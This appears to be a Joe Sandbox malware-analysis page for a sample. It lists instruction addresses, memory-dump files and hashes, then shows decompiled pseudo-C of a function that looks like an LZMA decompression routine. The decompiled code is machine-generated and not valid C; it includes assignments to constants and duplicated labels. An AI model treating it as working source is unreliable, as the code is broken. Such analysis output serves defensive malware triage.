0x00406e85
0x00406e88
0x00406e8b
0x00406e8e
0x00406e91
0x00406e94
0x00406e97
0x00406e9a
0x00406e9d
0x00406eb6
0x00406eb8
0x00406ebb
0x00406ebc
0x00406ebf
0x00406ec1
0x00406ec4
0x00406ec6
0x00406ec8
0x00406ecb
0x00406ecd
0x00406ed0
0x00406ed4
0x00406ed6
0x00406ed6
0x00406ed7
0x00406eda
0x00406edd
0x00406e9f
0x00406e9f
0x00406ea7
0x00406eac
0x00406eae
0x00406eb1
0x00406eb1
0x00406ee0
0x00406ee7
0x00406e71
0x00406e71
0x00406e71
0x00406e71
0x00000000
0x00406ee9
0x00000000
0x00406ee9
0x00406ee7
0x00406dfa
0x00406dfd
0x00406dff
0x00406e02
0x00406e05
0x00406e08
0x00406e0a
0x00406e0d
0x00406e10
0x00406e10
0x00406e13
0x00406e13
0x00406e16
0x00406e1d
0x00406df1
0x00406df1
0x00406df1
0x00406df1
0x00000000
0x00406e1f
0x00000000
0x00406e1f
0x00406e1d
0x00406da3
0x00406da6
0x00406da8
0x00406dab
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00407153
0x00000000
0x00407153
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b23
0x00406b26
0x00406b28
0x00406b2b
0x00406b2e
0x00406b31
0x00406b33
0x00406b33
0x00406b33
0x00000000
0x00000000
0x00406c95
0x00406c95
0x00406c99
0x0040715f
0x00000000
0x0040715f
0x00406c9f
0x00406ca2
0x00406ca5
0x00406ca8
0x00406caa
0x00406caa
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbd
0x00406cbf
0x00406cbf
0x00406cbf
0x00406cc2
0x00406cc5
0x00406cc8
0x00406ccb
0x00406ccb
0x00406ccb
0x00406cce
0x00406cd0
0x00406cd0
0x00000000
0x00000000
0x00406f12
0x00406f12
0x00406f12
0x00406f16
0x00000000
0x00000000
0x00406f1c
0x00406f1f
0x00406f22
0x00406f25
0x00406f27
0x00406f27
0x00406f27
0x00406f2a
0x00406f2d
0x00406f30
0x00406f33
0x00406f36
0x00406f39
0x00406f3a
0x00406f3c
0x00406f3c
0x00406f3c
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4b
0x00406f4f
0x00406f51
0x00406f54
0x00000000
0x00406f56
0x00406cd3
0x00406cd3
0x00000000
0x00406cd3
0x00406f54
0x00407189
0x00000000
0x00000000
0x004067b8
0x004071c0
0x004071c0
0x00000000
0x004071c0
0x0040700d
0x00406f94
0x00406f91
0x00000000
0x00406ce6

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e7a7db026ec9aad88acaa11386c02789d7bc6b83e00ba9479abd6ecc9ecffba
Instruction ID: a9aff89c954bf491ffe4c30e494efe667c8bfb024e4a61e14b5544386b4e6ab4
Opcode Fuzzy Hash: 1e7a7db026ec9aad88acaa11386c02789d7bc6b83e00ba9479abd6ecc9ecffba
Instruction Fuzzy Hash: 47713471D04229CBDF28CF98C844BADBBB1FF48305F15806AD856BB281C7786996DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406C2E Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406C2E() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M004071C8))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc("true", 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8));
											}
											_t534 = GlobalAlloc("true",  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
